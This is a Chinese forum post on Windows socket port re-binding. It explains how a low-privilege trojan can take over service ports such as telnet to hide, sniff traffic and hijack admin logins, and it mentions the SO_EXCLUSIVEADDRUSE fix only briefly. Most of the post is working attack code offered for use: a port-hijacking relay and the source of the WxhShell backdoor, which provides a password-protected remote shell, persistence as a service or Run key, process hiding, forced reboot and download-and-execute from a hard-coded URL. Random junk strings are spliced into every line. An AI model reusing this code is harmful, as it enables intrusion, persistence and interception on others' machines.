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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B.89_!/:p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )E'Fke  
s kN9O"^A  
  saddr.sin_family = AF_INET; $> "J"IX  
k: b/Gq`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S~KS9E~\  
a q3~!T;W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3lo;^KX !  
J|V K P7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X}ZlWJ  
XD PL;(?  
  这意味着什么?意味着可以进行如下的攻击: :P3{Nxa  
+c^_^Z$_4o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s|Z:}W?{  
`W@T'T"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )PR3s1S^  
9n1ZVP.ag  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "(s6aqO$  
K&=D-50%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PJzc=XPU  
^_v[QV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 AY#wVy  
t)YUPDQ@J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <f N; xIB  
ev9; Ld  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "\e:h| .G  
$}t=RW  
  #include sLb8*fak  
  #include 3sH\1)Zz  
  #include g>so R&*  
  #include    9YB2 e84j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (+* ][|T  
  int main() et=7}K]l  
  { QV7,G9  
  WORD wVersionRequested; cv}aS_`f  
  DWORD ret; <OTWT`G2  
  WSADATA wsaData; nqT>qS[Z  
  BOOL val; +a%xyD:.?  
  SOCKADDR_IN saddr; 3gAR4  
  SOCKADDR_IN scaddr; xq}-m!nX  
  int err; $9 K(F~/  
  SOCKET s; pz{'1\_+9  
  SOCKET sc; )zU:  
  int caddsize; +R!zs  
  HANDLE mt; *h$&0w y  
  DWORD tid;   -."kq.m*  
  wVersionRequested = MAKEWORD( 2, 2 ); k<H%vg>{~s  
  err = WSAStartup( wVersionRequested, &wsaData ); Vtr3G.P^  
  if ( err != 0 ) { ~.J,A\F  
  printf("error!WSAStartup failed!\n"); tJNIr5o  
  return -1; zh\$t]d<I  
  } 4o<*PPA1  
  saddr.sin_family = AF_INET; %}P4kEY  
   H+ lX-,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J! {Al  
mzX;s&N#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'BY-OA#xJ  
  saddr.sin_port = htons(23); ?~J i-{#X  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l<(cd,  
  { `H>b5  
  printf("error!socket failed!\n"); wd[eJcQ,  
  return -1; a d9CsvW  
  } 4WC9US-k  
  val = TRUE; C-m*?))go  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `5q ;ssu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yEq#Dr  
  { *^] ~RhjB  
  printf("error!setsockopt failed!\n"); 8TE>IPjm  
  return -1; {CtR+4KD  
  } d|XmasGN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "xe=N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Mo D?2J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v!9i"@<!  
D8%AV; -Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qi(*ty  
  { b7HffO O  
  ret=GetLastError(); d H? ScXM=  
  printf("error!bind failed!\n"); WNs}sNSf  
  return -1; )0k']g5  
  } [ %}u=}@  
  listen(s,2); UL( lf}M  
  while(1) {hQ6K)s  
  { I9Eu',  
  caddsize = sizeof(scaddr); Kc #|Z  
  //接受连接请求 ecj7BT[mLI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Dzl;-]S  
  if(sc!=INVALID_SOCKET) o%`Xa#*Ly  
  { MV0Lq:# N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +pf5\#l?  
  if(mt==NULL) 6?qDdVR~]  
  { #DFV=:|~  
  printf("Thread Creat Failed!\n"); <@G8ni  
  break; KVPR}qTP;  
  } wJeG(h  
  } Md,pDWb  
  CloseHandle(mt); S{#cD1>.  
  } maNW{"1  
  closesocket(s); %g3,qI  
  WSACleanup(); DWU`\9xA*  
  return 0; ff e1lw%  
  }   j}:~5|.  
  DWORD WINAPI ClientThread(LPVOID lpParam) :K':P5i  
  { =8Ehrlq  
  SOCKET ss = (SOCKET)lpParam; }tG3tz0%fX  
  SOCKET sc;  fvEAIs  
  unsigned char buf[4096]; nwA8ALhE  
  SOCKADDR_IN saddr; hePPxKQ-  
  long num; OtTBErQNF  
  DWORD val; 5GQLd  
  DWORD ret; 9zBMlc$X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X[](Kj^`<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :7g=b%;  
  saddr.sin_family = AF_INET; T6#CK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WC,+Cn e  
  saddr.sin_port = htons(23); `.%JjsD<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !ABiy6d  
  { rJJ[X4$  
  printf("error!socket failed!\n"); vUA0FoOp  
  return -1; Sv'y e  
  } l"(6]Z 4  
  val = 100; e`K)_>^n#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zg~nlO2  
  { lFSe?X^  
  ret = GetLastError(); )IL #>2n?  
  return -1; ememce,Np  
  } _ oFs #kW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p\p\q(S">  
  { l?8M p$M  
  ret = GetLastError(); 5J2=`=FK  
  return -1; 1ocJ+  
  } ;CHi\+` 5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~utJB 'gr  
  { ziE*'p  
  printf("error!socket connect failed!\n"); L';MP^  
  closesocket(sc); CZ<~3bEF  
  closesocket(ss); &HW1mNF9  
  return -1; uI~S=;o  
  } 3+Qxg+<  
  while(1) en F:>H4  
  { (1R?s>3o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L!Cz'm"Nl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !v.9"!' N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #R0A= !  
  num = recv(ss,buf,4096,0); .@q-B+Eg  
  if(num>0) ?, r~=  
  send(sc,buf,num,0); X-LA}YH=tS  
  else if(num==0) 8.J( r(;>  
  break; bx4'en#  
  num = recv(sc,buf,4096,0); R6-n IY,  
  if(num>0) oR1^/e  
  send(ss,buf,num,0); 5yZTcS z  
  else if(num==0) Z?P~z07  
  break; nl aM  
  } lv&mp0V+  
  closesocket(ss); !$;a[Te  
  closesocket(sc); YgUH'P-  
  return 0 ; WE6a'  
  } B/JO~;{  
v1JS~uDz  
Ys+OB*8AE  
========================================================== H5CR'Rp  
Kv'n:z7Md  
下边附上一个代码,,WXhSHELL m([(:.X/IX  
"\W-f  
========================================================== =J-5.0Q\_\  
kum#^^4G|  
#include "stdafx.h" ]uj=:@  
&3F}6W6A  
#include <stdio.h> D_mL,w  
#include <string.h> }v9\F-0>Q  
#include <windows.h> 7;@ST`cC  
#include <winsock2.h> Q5{Pv}Jx  
#include <winsvc.h> }?F`t[+  
#include <urlmon.h> '^BV_QQ  
!Z!g:II /  
#pragma comment (lib, "Ws2_32.lib") X,aYK;q%z  
#pragma comment (lib, "urlmon.lib") \0l>q ,  
U[L9*=P;  
#define MAX_USER   100 // 最大客户端连接数  VGHWNMT  
#define BUF_SOCK   200 // sock buffer p(;U@3G  
#define KEY_BUFF   255 // 输入 buffer do*}syQ`O  
I:bD~F b3  
#define REBOOT     0   // 重启 ?"#%SKm  
#define SHUTDOWN   1   // 关机 *-W#G}O0  
n+@F`]K e  
#define DEF_PORT   5000 // 监听端口 7!,YNy%  
RIu~ @  
#define REG_LEN     16   // 注册表键长度 hz;|NW{u  
#define SVC_LEN     80   // NT服务名长度 ^D^4 YJz  
8.' #?]a  
// 从dll定义API KrVcwAcq|1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^-mRP\5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T_b^ Tc`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WwH+E]^e+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =S'%`]f?  
 ~>O)  
// wxhshell配置信息 6qN~/TnHZ  
struct WSCFG { fO'Wj`&a  
  int ws_port;         // 监听端口 0]QRsVz+  
  char ws_passstr[REG_LEN]; // 口令 ETp%s{8  
  int ws_autoins;       // 安装标记, 1=yes 0=no )"zvwgaW  
  char ws_regname[REG_LEN]; // 注册表键名 I? THa<  
  char ws_svcname[REG_LEN]; // 服务名 Q9}dHIe1E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DRqZ,[!+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o1&:ry  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T=hho Gn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v_e9}yI   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J"=1/,AS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 } VJfJ/  
J q{7R  
}; oH0X<'  
M(#m0x B  
// default Wxhshell configuration 08X_}97#WF  
struct WSCFG wscfg={DEF_PORT, j!7`]  
    "xuhuanlingzhe", U\/5;Txy(  
    1, EbeI{ -'aF  
    "Wxhshell", y\N|<+G+  
    "Wxhshell", .@ xF6UZ  
            "WxhShell Service", +("7ZK?  
    "Wrsky Windows CmdShell Service", q$1PG+-  
    "Please Input Your Password: ", ]yjl~3  
  1, ?JL7=o X  
  "http://www.wrsky.com/wxhshell.exe", J=.`wZQkS  
  "Wxhshell.exe" $^u}a   
    }; go+Q~NV   
b:qY gg  
// 消息定义模块 2G$SpfeIu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pg]BsJN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,-x!$VqS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OD' ]:  
char *msg_ws_ext="\n\rExit."; 1B),A~Ip  
char *msg_ws_end="\n\rQuit."; tXJU vish  
char *msg_ws_boot="\n\rReboot..."; y_xnai  
char *msg_ws_poff="\n\rShutdown..."; aP'"G^F   
char *msg_ws_down="\n\rSave to "; ARcv;H 5  
8|E'>+ D_-  
char *msg_ws_err="\n\rErr!"; JS}{%(B  
char *msg_ws_ok="\n\rOK!"; XLMb=T~S  
*'Z B*>  
char ExeFile[MAX_PATH]; >~`C-K#  
int nUser = 0; ^(viM?*  
HANDLE handles[MAX_USER]; M#|dIbns H  
int OsIsNt; _gKe%J&  
.]aF 1}AI  
SERVICE_STATUS       serviceStatus; Hw#d_P:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Sq:0w  
$}")1|U,X  
// 函数声明 As+t##gN  
int Install(void); kB5.(O  
int Uninstall(void); NrP0Ep%V  
int DownloadFile(char *sURL, SOCKET wsh); GUslPnG  
int Boot(int flag); cb5,P~/q  
void HideProc(void); 2Z20E$Cb  
int GetOsVer(void); 7d92 Pe  
int Wxhshell(SOCKET wsl); [{C )LDN  
void TalkWithClient(void *cs); qj cp65^  
int CmdShell(SOCKET sock); ]%Zz \Q  
int StartFromService(void); P{Q=mEQ  
int StartWxhshell(LPSTR lpCmdLine); FKe,qTqa  
s;UH]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PRNoqi3sY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~ %B<  
]Qm]I1P  
// 数据结构和表定义 @ 49nJi  
SERVICE_TABLE_ENTRY DispatchTable[] = VLBE'3Qg 1  
{ Mi~(aah  
{wscfg.ws_svcname, NTServiceMain}, eT2*W$  
{NULL, NULL} qRbf2;  
}; h*u`X>!!  
;gC|  
// 自我安装 fwzb!"!.@  
int Install(void) AkOO )0  
{ 64:fs?H  
  char svExeFile[MAX_PATH]; $%VuSrZ&  
  HKEY key; p}[zt#v  
  strcpy(svExeFile,ExeFile); =_YG#yS  
qY 4#V k  
// 如果是win9x系统,修改注册表设为自启动 $=?@*p  
if(!OsIsNt) { Ts~L:3oaQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $ cj>2.   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `K ,1K  
  RegCloseKey(key); nC{%quwh{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zw wqSyuGf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^&g=u5 d0  
  RegCloseKey(key); Fs[aa#v4B  
  return 0; |p$spQ  
    } B c2p(z4  
  } _=|vgc  
} l7De6A"  
else { Fd*8N8Pi  
M:5b4$Qh<  
// 如果是NT以上系统,安装为系统服务 C* nB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }MUn/ [x  
if (schSCManager!=0) gk`zA  
{ +**!@uY  
  SC_HANDLE schService = CreateService '=P7""mN5  
  ( %,ngRYxT#  
  schSCManager, Le%Z V%,  
  wscfg.ws_svcname, wj[$9UJb  
  wscfg.ws_svcdisp, "kZ[N'z (  
  SERVICE_ALL_ACCESS, )?wJF<[_#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZoArQ(YFy  
  SERVICE_AUTO_START, h;3cd0  
  SERVICE_ERROR_NORMAL, 3j3N!T9  
  svExeFile, Fv<`AU  
  NULL, r1fGJv1!o  
  NULL, -\#0]F:-  
  NULL, r_;9' #&'  
  NULL, E@Ad'_H  
  NULL tnLAJ+ -M  
  ); F`9]=T0  
  if (schService!=0) U!Ek'  
  { |^@dFOz  
  CloseServiceHandle(schService); ul*Qt}  
  CloseServiceHandle(schSCManager); Zdn~`Q{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "1, pHR-+R  
  strcat(svExeFile,wscfg.ws_svcname); 0T46sm r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'fPdpnJ<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r [ K5w  
  RegCloseKey(key); MX+ Z ?  
  return 0; |\n_OS 7  
    } N<DGw?Rl  
  } \(%Y%?dy  
  CloseServiceHandle(schSCManager); '? jlH0;  
} jMpD+Mb  
} |.wEm;Bz  
H'HSD,>(  
return 1; U#U]Pt  
} SB)5@ nmS  
9Vf1Xz  
// 自我卸载 qpXWi &g  
int Uninstall(void) (dv]=5""  
{ a5w:u5  
  HKEY key; 'MY/*k7:  
2=_g f  
if(!OsIsNt) { f47M#UC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zhf.NCSt(  
  RegDeleteValue(key,wscfg.ws_regname); O eL}EVs8=  
  RegCloseKey(key); KgR<E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8n>9;D5n  
  RegDeleteValue(key,wscfg.ws_regname); im @h -A]0  
  RegCloseKey(key); L QjsOo  
  return 0; yBI'djL~>  
  } T*KMksjxm`  
} 7k8pZ  
} JY6 Q p  
else { %AQIGBcgL  
$1v&azM.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J(6oL   
if (schSCManager!=0) i'\T R|qd  
{ P@FHnh3}Z$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DY^;EZ!hb  
  if (schService!=0) AFAAuFE"  
  { Xn{1 FJX/  
  if(DeleteService(schService)!=0) { k-}b{  
  CloseServiceHandle(schService); :>=\.\  
  CloseServiceHandle(schSCManager); Q1+dCCY#F  
  return 0; v;)..X30  
  } @9"J|}  
  CloseServiceHandle(schService); y:6; LZ9[  
  } _8E/) M  
  CloseServiceHandle(schSCManager); &%-73nYw  
} N ,z6y5Lu  
} >vA2A1WhW  
r-<F5<H+K@  
return 1; IC7M$  
} [Vma^B$7Vj  
,{mCf ^  
// 从指定url下载文件 K1T4cUo  
int DownloadFile(char *sURL, SOCKET wsh) O<V4HUW  
{ Ywwu0.H<  
  HRESULT hr; '  <=+;q  
char seps[]= "/"; ?5 {>;#0Z  
char *token; yNbjoFM.i  
char *file; pfI"36]F  
char myURL[MAX_PATH]; VzVc37 Z>6  
char myFILE[MAX_PATH]; is-7 j7;  
5^x1cUB]  
strcpy(myURL,sURL); Z+=@<i''  
  token=strtok(myURL,seps); 5@BBo eG  
  while(token!=NULL) {lc\,F*$  
  {  \*<d{gZ~  
    file=token; &oX>* 6L  
  token=strtok(NULL,seps); ^cuc.g)c$?  
  } d}4Y(   
ZEx}$<)_  
GetCurrentDirectory(MAX_PATH,myFILE); \7'+h5a  
strcat(myFILE, "\\"); 0ik7v<:  
strcat(myFILE, file); 9_5ow  
  send(wsh,myFILE,strlen(myFILE),0); |/)${*a4n  
send(wsh,"...",3,0); :n-]>Q>5=k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tw9f%p  
  if(hr==S_OK) l~$+,U&XNe  
return 0; IqoR7ajA  
else 5wDg'X]>V  
return 1; XD2v*l|Po  
Kuu *&u  
} AQwdw>I-FX  
$F5 b  
// 系统电源模块 w}YlVete  
int Boot(int flag) Nb'''W-iu  
{ ]'=)2 .}  
  HANDLE hToken; W}mn}gTQ  
  TOKEN_PRIVILEGES tkp; >: g3k  
R)m'lMi|  
  if(OsIsNt) { Iepsz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jJPGrkr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4.5|2 \[  
    tkp.PrivilegeCount = 1; pW J Fz-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V: TM]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L bmawi^  
if(flag==REBOOT) { JVSA&c%3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ybKWOp:O  
  return 0; lE(a%'36  
} #$8% w  
else { ", KCCis  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $cU!m(SILQ  
  return 0; $arK(  
} YF>m$?;  
  } #6HA\dE  
  else { t,+nQ9  
if(flag==REBOOT) { ) u`[6,d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `M^= D&Bf  
  return 0; .E8_Oz  
} Su/6Q$0 t  
else { SSWP~ t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  KJaXg;,H  
  return 0; yj.7'{mA  
} 7E79-r&n  
} ~yW4)4k;b  
%/zbgS`  
return 1; }%{LJ}\Px  
} i\rDu^VQ  
kTu[ y;  
// win9x进程隐藏模块 F7EKoDt  
void HideProc(void) [R^i F  
{ Ay0U=#XP  
2$g6}A`r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >8#X;0\Kj  
  if ( hKernel != NULL ) SPY|K  
  { Ssou  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dQA'($  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9CWezI+  
    FreeLibrary(hKernel); )9"_J9G  
  } r\-uJ~8N  
zGkS^Z=(  
return; |8l<$J  
} @v)p<r^M">  
:2rZcoNb.  
// 获取操作系统版本 8"8t-E#?  
int GetOsVer(void) oldA#sA$  
{ Ki$MpA3j   
  OSVERSIONINFO winfo; &-Gqdnc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R5 - @  
  GetVersionEx(&winfo); P"IPcT%Ob%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?kH8Lw~{5W  
  return 1; qh|_W(`y  
  else pS'FI@.'{  
  return 0; Y4`}y-'d  
} Tz8PSk1[  
`tA" }1;ka  
// 客户端句柄模块 "8x8UgG  
int Wxhshell(SOCKET wsl) iXVe.n  
{ 1AM!8VR2  
  SOCKET wsh; 8m\7*l^D:  
  struct sockaddr_in client; 0uOkMuy<  
  DWORD myID; - -HZX  
0zlb0[  
  while(nUser<MAX_USER) |@ s,XS  
{ C.Kh [V\Ut  
  int nSize=sizeof(client); i]YV {  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g9}DnCT*.  
  if(wsh==INVALID_SOCKET) return 1; /_AnP  
4C61GB?Vy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NV72  
if(handles[nUser]==0) irFMmIb  
  closesocket(wsh); *rs5]U<  
else c1k/UcEcg~  
  nUser++; =S+wCN  
  } ;o2$ Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m.# VYN`+A  
bYpnt V  
  return 0; t^R][Ay&  
} bnq; )>&  
' g=  
// 关闭 socket K/j3a[.  
void CloseIt(SOCKET wsh) A@1W}8qY:  
{ bLij7K 2H  
closesocket(wsh); 7Bzq,2s  
nUser--; pfA|I*`XV  
ExitThread(0); Rg\z<wPBG  
} fk6%XO  
A+ZK4]xb  
// 客户端请求句柄 la0BiLzb]  
void TalkWithClient(void *cs) ([T>.s  
{ "d#Y}@*~o  
lT(WD}OS  
  SOCKET wsh=(SOCKET)cs; V@e?#iz  
  char pwd[SVC_LEN]; u~7hWiY<2  
  char cmd[KEY_BUFF]; H]{v;;'~  
char chr[1]; C*)3e*T*  
int i,j; GP!?^r:en  
^84G%)`&  
  while (nUser < MAX_USER) { rzhWw-GY  
J%v=yBC2  
if(wscfg.ws_passstr) { +%T\`6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Ch&a/S}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9YIM'q>`v  
  //ZeroMemory(pwd,KEY_BUFF); #>b3"[ |  
      i=0; Neq+16*u  
  while(i<SVC_LEN) { D/Z6C&/I  
X$ 0?j 1  
  // 设置超时 u]<,,  
  fd_set FdRead; 5nv#+ap1 "  
  struct timeval TimeOut; C%$edEi  
  FD_ZERO(&FdRead); [')m|u~FS4  
  FD_SET(wsh,&FdRead); "CSsCA$/  
  TimeOut.tv_sec=8; A-Sv;/yD_  
  TimeOut.tv_usec=0; L-jJg,eY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bhTb[r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u)X=Qm)  
we~[] \  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :q$.,EZ4#n  
  pwd=chr[0]; V)Z}En["1  
  if(chr[0]==0xd || chr[0]==0xa) { >Wm `v.-  
  pwd=0; q8X feoUV  
  break; ]fx"4qKM  
  } T*8VDY7  
  i++; jSD#X3qp  
    } aktU$Wbwl  
[-65PC4aN  
  // 如果是非法用户,关闭 socket iV5yJF{ZH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s:>Va GC  
} ~("5y G  
YIn',]p:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;(f) &Yom  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .*@;@06?  
QwNly4  
while(1) { 2#KJ asX  
mq aHwID  
  ZeroMemory(cmd,KEY_BUFF); rHC>z7+z.  
)M,Of Xa  
      // 自动支持客户端 telnet标准   c(3~0Yr  
  j=0; &oP +$;Y  
  while(j<KEY_BUFF) { 3EV;LH L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k$R~R-'  
  cmd[j]=chr[0]; ~ Sg5:T3  
  if(chr[0]==0xa || chr[0]==0xd) { b*;Si7-  
  cmd[j]=0; 9oyE$S h]  
  break; 04LI]'  
  } <{dVKf,e  
  j++; Ye"o6_U "  
    } Eza`Z` ^el  
Sz%t JD..  
  // 下载文件 **w!CaqvY  
  if(strstr(cmd,"http://")) { (yu/l 6[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &vo--V1|  
  if(DownloadFile(cmd,wsh)) 9v;Vv0k_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Od)Uv1  
  else qW$<U3u}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F f$L|  
  }  A sQ)q  
  else { ~+Rc }K  
R+2+-j4  
    switch(cmd[0]) { y~Bh  
  n&{Dq}q  
  // 帮助 {'XggI%  
  case '?': { R?GDJ3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \kp8S'qVo  
    break; 6 bomh2  
  } X@$f$=  
  // 安装 j2Cks_$:  
  case 'i': { 8|):`u  
    if(Install()) > A Khf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Z!`Hb  
    else ~qcNEl\-y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NaPt"G  
    break; ;9[fonk  
    } bV(Y`g  
  // 卸载 ujDd1Bxf?  
  case 'r': { C\S3Gs  
    if(Uninstall()) *S]Ci\{_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =[H;orMr  
    else 6TQoqH8@U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UR%/MV  
    break; ?+_Gs;DGVE  
    } txJr;  
  // 显示 wxhshell 所在路径 .\[`B.Q  
  case 'p': { xAqb\|$^  
    char svExeFile[MAX_PATH]; YNLV9.P6  
    strcpy(svExeFile,"\n\r"); un)4eo!7  
      strcat(svExeFile,ExeFile); %j:]^vqFA  
        send(wsh,svExeFile,strlen(svExeFile),0); aO]ZZleNS  
    break; Z8# (kmBdB  
    } 1e(E:_t  
  // 重启 P?8GV%0$  
  case 'b': { H;?{BV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '{a/2 l  
    if(Boot(REBOOT)) )LdP5z-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %@wJ`F2a_  
    else { )jU)_To  
    closesocket(wsh); k&&2Tq  
    ExitThread(0); `s"'r !  
    } |2?'9<  
    break; = 6tHsN23  
    } ]Uw<$!$-]s  
  // 关机 V `b2TS  
  case 'd': { iWei  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NV)!7~r}:  
    if(Boot(SHUTDOWN)) :?k>HQe  
